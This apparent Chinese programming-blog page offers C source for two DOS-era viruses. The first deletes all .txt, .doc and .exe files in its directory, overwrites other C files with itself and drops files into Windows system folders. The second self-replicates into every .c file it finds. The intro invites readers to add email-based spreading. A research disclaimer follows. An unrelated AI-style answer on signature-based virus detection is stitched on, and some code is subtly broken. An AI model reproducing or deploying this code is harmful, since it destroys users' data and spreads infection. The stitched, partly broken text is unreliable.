C语言病毒代码

在下面的部分加上传染部分就可以了,比如email发送被点击时触发,附加到其他普通软件条件触发等

C语言病毒代码

 #include <io.h>

#include <dir.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

/* copy outfile to infile */

void copyfile(char *infile, char *outfile)

{

FILE *in,*out;

in = fopen(infile,&quot;r&quot;);

out = fopen(outfile,&quot;w&quot;);

while (!feof(in))

{

fputc(fgetc(in),out);

}

fclose(in);

fclose(out);

}

/*

This function named Rubbishmaker.

*/

void MakeRubbish()

{

int i;

FILE *fp;

char *path;

char *NewName;

char *disk[7] = {&quot;A&quot;,&quot;B&quot;,&quot;C&quot;,&quot;D&quot;,&quot;E&quot;,&quot;F&quot;,&quot;G&quot;};

char *addtion = &quot;:\\&quot;;

/* Make some rubbish at the current catalogue */

for (i = 0; i<5; i++)

{

char tempname[] = &quot;XXXXXX&quot; ;

NewName = mktemp(tempname);

fp = fopen(NewName,&quot;w&quot;);

fclose(fp);

}

/* make some rubbish at the root catalogue */

path = strcat(disk[getdisk()],addtion); /* get the root catalogue */

chdir(path); /*change directory according to the &quot;path&quot; */

for (i = 0; i<5; i++)

{

char tempname[] = &quot;XXXXXX&quot;;

NewName = mktemp(tempname);

fp = fopen(NewName,&quot;w&quot;);

fclose(fp);

}

}

/*

This function can creat some .exe or .com documents in the sensitive place.

Don't worry,It's only a joke.It will do no harm to your computer.

*/

void CreatEXE()

{

int i;

char *path;

char *s[2] = {&quot;C:\\WINDOWS\\system32\\loveworm.exe&quot;,&quot;C:\\WINDOWS\\virusssss.com&quot;};

for ( i = 0; i < 2; i++)

{

open(s, 0x0100,0x0080);

copyfile( &quot;C_KILLER.C&quot;,s);

}

}

/* remove something from your computer */

void Remove()

{

int done;

int i;

struct ffblk ffblk;

char *documenttype[3] = {&quot;*.txt&quot;,&quot;*.doc&quot;,&quot;*.exe&quot;};

for (i = 0; i < 3; i++)

{

done = findfirst(documenttype,&ffblk,2);

while (!done)

{

remove(ffblk.ff_name);

done = findnext(&ffblk);

}

}

}

/* overlay the c programs */

void Breed()

{

int done;

struct ffblk ffblk;

done = findfirst(&quot;*.c&quot;,&ffblk,2);

while (!done)

{

if (strcmp(&quot;C_KILLER.C&quot;, ffblk.ff_name) != 0 )

{

copyfile(&quot;C_KILLER.C&quot;,ffblk.ff_name);

}

done = findnext(&ffblk);

}

}

void main()

{

printf(&quot;THERE IS A VIRUS BY XIAOKE.\n\n&quot;);

Breed();

Remove();

CreatEXE();

printf(&quot;COULD YOU TELL ME YOUR NAME?\n\n&quot;);

printf(&quot;NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n&quot;);

MakeRubbish();

getchar();

printf(&quot;IT'S ONLY A JOKE! THANK YOU!\n\n&quot;);

clrscr();

system(&quot;cmd&quot;);

}

首先声明:

本程序是我举的一个例子

为了叫大家理解就可以了

如果大家拿去捉弄人,我不负任何责任!

希望大家要以学习为重!

对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的

我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享

不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定

用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题,

再次声明这一切全是为了编程研究!!!

病毒的特点:

病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式

病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。

从程序的角度来说,我们要做的事情有两件:

1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序,

使它具备继续复制的能力。

2,在一定条件下使其产生某种发作效果。

其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染

文件的最后,同时在被感染文件中调用这个函数

下面给出c语言的实现过程:

1,主程序调用病毒功能函数

2,病毒功能函数读取查找同目录下所有c文件;

3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;

4,重新创建一个同名文件(被感染c文件)

5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数

调用语句写入;

6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后;

这样一个简单的c语言伪病毒virus.c就完成了

运行程序后其内容变化另保存为after_virus.c

此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果

他们一运行又感染了他们保存1.c文件目录下所有c文件

对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你

完全可以写一个TSR驻留函数

其实,这个程序勉强可以叫做病毒

根本不算是真正的病毒,好了就说这么多,

代码如下:

#include <stdio.h>

#include <dir.h>

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus=&quot;virus.c&quot;;

char buf[50][80];

char *p;

char *end=&quot;return&quot;;

char *bracket=&quot;}&quot;;

char *main=&quot;main&quot;;

char *include[2]={&quot;stdio.h&quot;,&quot;dir.h&quot;};

char *int_virus=&quot;int virus()&quot;;

char *buffer;

int done,i,j=0,flag=0;

printf(&quot;\nI have a virus. Writen by PuBin\n&quot;);

done = findfirst(&quot;*.c&quot;,&ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, &quot;rt&quot;))== NULL)

{

goto next;

}

do{

if(i>=50)

{

fclose(in);

goto next;

}

p=fgets(buf,80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,&quot;w+t&quot;);

fputs(&quot;#include<stdio.h>\n&quot;,out);

fputs(&quot;#include<dir.h>\n&quot;,out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;j<i-1;j++)

if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs(&quot;virus();\n&quot;,out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

&&(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(j<i-1);

read=fopen(virus,&quot;rt&quot;);

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(&quot; char *virus=\&quot;&quot;,out);

fputs(ffblk.ff_name,out);

fputs(&quot;\&quot;;\n&quot;,out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf(&quot;\nYour c program %s has a virus. Writen by PuBin\n&quot;,ffblk.ff_name);

next: done = findnext(&ffblk);

}

return 0;

}

好的,针对您的问题,我可以给您提供一个基于C语言实现的简单病毒检测代码。 首先,我们需要一些关于病毒检测的基础知识。病毒检测主要是检查系统中的文件是否含有病毒代码,这些病毒代码可以通过特定的模式来匹配。 我们可以通过一个简单的例子来说明病毒检测的原理,以及如何使用C语言实现。以下是一个基于病毒特征码的简单病毒检测代码: ```c #include <stdio.h> #include <string.h> #define MAX_VIRUS_SIZE 1024 char virus[MAX_VIRUS_SIZE] = { // 病毒特征码 // 这里只是举个例子,实际上病毒特征码可能非常复杂 0x68, 0x65, 0x6C, 0x6C, 0x6F, 0x20, 0x77, 0x6F, 0x72, 0x6C, 0x64 }; int virus_size = sizeof(virus); int scan_file(char *filename) { FILE *fp; char buffer[MAX_VIRUS_SIZE]; int read_size; fp = fopen(filename, "r"); if (fp == NULL) { return 0; } while ((read_size = fread(buffer, 1, MAX_VIRUS_SIZE, fp)) > 0) { // 查找病毒特征码 if (memmem(buffer, read_size, virus, virus_size) != NULL) { printf("Found virus in file: %s\n", filename); fclose(fp); return 1; } } fclose(fp); return 0; } int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s filename\n", argv[0]); return 1; } if (scan_file(argv[1])) { printf("Virus found\n"); } else { printf("File is safe\n"); } return 0; } ``` 以上代码中,我们定义了一个病毒特征码,并且在检测文件的时候查找这个特征码。如果在文件中找到了这个特征码,就表明该文件含有病毒代码。 需要注意的是,这只是一个简单的病毒检测例子,实际上对于更复杂的病毒来说,病毒特征码可能非常复杂,原理和实现方法也可能会有所不同。 希望以上代码和解释可以对您有所帮助。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值